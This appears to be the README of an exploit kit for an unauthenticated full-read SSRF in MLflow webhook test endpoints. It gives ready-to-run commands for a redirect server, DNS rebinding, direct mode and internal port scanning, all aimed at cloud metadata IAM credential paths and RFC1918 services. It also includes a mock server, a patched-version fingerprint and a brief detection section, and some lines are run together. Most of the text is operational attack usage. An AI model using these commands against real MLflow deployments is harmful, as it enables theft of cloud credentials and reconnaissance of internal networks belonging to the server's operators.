
Exploit and PoC for CVE-2026-64849, an unauthenticated full-read SSRF in MLflow webhook test endpoints via redirect following and DNS rebinding, with internal port scanning.
CWE-918 · CVSS 9.3/9.5 (Critical) · CISA KEV (listed 2026-08-19, active exploitation)
Fixed: MLflow 3.15.0 (2026-07-31) — SSRFProtectedHTTPAdapter validates the peer IP of the
actually-connected socket. Practical exposure: 3.3.0 – 3.14.x (webhook feature introduced ~3.3.0;
the IP guard added in 3.10.0 is what this CVE bypasses).
MLflow's tracking server ships an unauthenticated webhook management API (default configuration has no auth plugin):
POST /api/2.0/mlflow/webhooks create webhook {name, url, events:[{entity,action}], status}
POST /api/2.0/mlflow/webhooks/{id}/test test webhook -> {result:{success, response_status, response_body, error_message}}
DELETE /api/2.0/mlflow/webhooks/{id}
_validate_webhook_url checks that the URL's hostname resolves to public IPs — at create time and
again right before sending. Then the outbound requests POST:
Location target.The test endpoint echoes the upstream response_status and response_body back to the caller →
full-read SSRF: cloud metadata (169.254.169.254), internal microservices, localhost listeners.
Even when the test errors, error_message leaks internal reachability (refused/filtered/timeout).
| file | purpose |
|---|---|
exploit.py | single-file exploit: probe (default), scan, redirect-server modes. Python ≥3.8, stdlib only |
rebind_dns.py | minimal DNS-rebinding responder (first A answer public, later answers internal) |
mock_mlflow.py | test double of the vulnerable-version webhook endpoints (built from v3.14.0 source); --patched emulates the ≥3.15.0 fix; --rebind-name emulates rebinding. Use it to demo/validate without a real MLflow |
On your public host (valid TLS cert), run the responder:
./exploit.py redirect-server \
--targets "leak=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
--listen-port 8443 --tls-cert /etc/letsencrypt/live/your.host/fullchain.pem \
--tls-key /etc/letsencrypt/live/your.host/privkey.pem
Then from anywhere that can reach the MLflow server:
./exploit.py probe http://mlflow.internal:5000 \
--redirect-host your.host:8443 \
--target http://169.254.169.254/latest/meta-data/iam/security-credentials/
The webhook URL (https://your.host:8443/leak) passes validation (public IP); MLflow POSTs to it,
follows the 302 Location: to the internal target without re-validating, and returns the internal
response body to you. --redirect-status 307/308 preserves the POST body instead of downgrading to GET.
python3 rebind_dns.py --public-ip <your-public-ip> --internal-ip 169.254.169.254 --listen 0.0.0.0:5353
# point victim.example at that resolver, then:
./exploit.py probe http://mlflow:5000 --mode rebind --rebind-host victim.example \
--target http://169.254.169.254/
With the default https-only scheme allowlist the rebinding connection is TLS-terminated at the
internal IP — full-read works against TLS-capable internals or when the operator allows http
(MLFLOW_WEBHOOK_ALLOWED_SCHEMES=http,https, common in labs); otherwise you still get the
error-message oracle (cert errors, timeouts, connection refused).
If the instance sets MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS=true (or predates the 3.10.0 guard), point
straight at the internal URL:
./exploit.py probe http://mlflow:5000 --mode direct --target http://169.254.169.254/
# from public infrastructure (default-compatible):
./exploit.py redirect-server --targets "t0=http://169.254.169.254/,t1=http://10.0.0.1:8080/" ...
# then probe each tN individually, or with a relaxed MLflow config, scan locally:
./exploit.py scan http://mlflow:5000 --webhook-host <your-ip> \
--targets "t0=http://169.254.169.254/,t1=http://10.0.0.1:8080/"
Open ports answer with status/body; closed/filtered ports surface as error_message
(ConnectionRefusedError vs ReadTimeout) — classic SSRF port-scan semantics.
python3 mock_mlflow.py --port 5000 --allow-private-ips --allowed-schemes http # vulnerable world
python3 mock_mlflow.py --port 5001 --patched --rebind-name rb.test \
--rebind-public-ip 93.184.216.34 --rebind-internal-ip 127.0.0.1 # patched world
--patched flips the result from leak to SSRFProtectionError — also a handy version
fingerprint: patched servers (≥3.15.0) answer the test with that exact error.
MLFLOW_WEBHOOK_ALLOWED_SCHEMES=["https"] — webhook URLs must be https unless the operator
widened the list; the redirect vector therefore starts at an https host.429/5xx responses — internals returning 5xx are
hit up to four times (visible in server logs).MLFLOW_WEBHOOK_REQUEST_TIMEOUT defaults to 30 s — filtered targets take ~30 s each (scan timing oracle).--artifacts-only servers don't expose them (exploit reports this clearly).--keep-webhook to retain); names default to
cve-2026-64849-* — check the webhook table afterwards anyway.0 leak confirmed · 10 test errored · 11 create failed · 12 unreachable.169.254.169.254, RFC1918 ranges, or unexpected hosts; look for
POSTs with JSON {"entity":"registered_model","action":"created",...} payloads and
X-Mlflow-Delivery-Id / X-Mlflow-Timestamp headers.webhooks table created around the time of anomalous egress; test-endpoint calls
(POST /api/2.0/mlflow/webhooks/*/test) from untrusted clients.Webhook request to ... failed / SSRFProtectionError lines.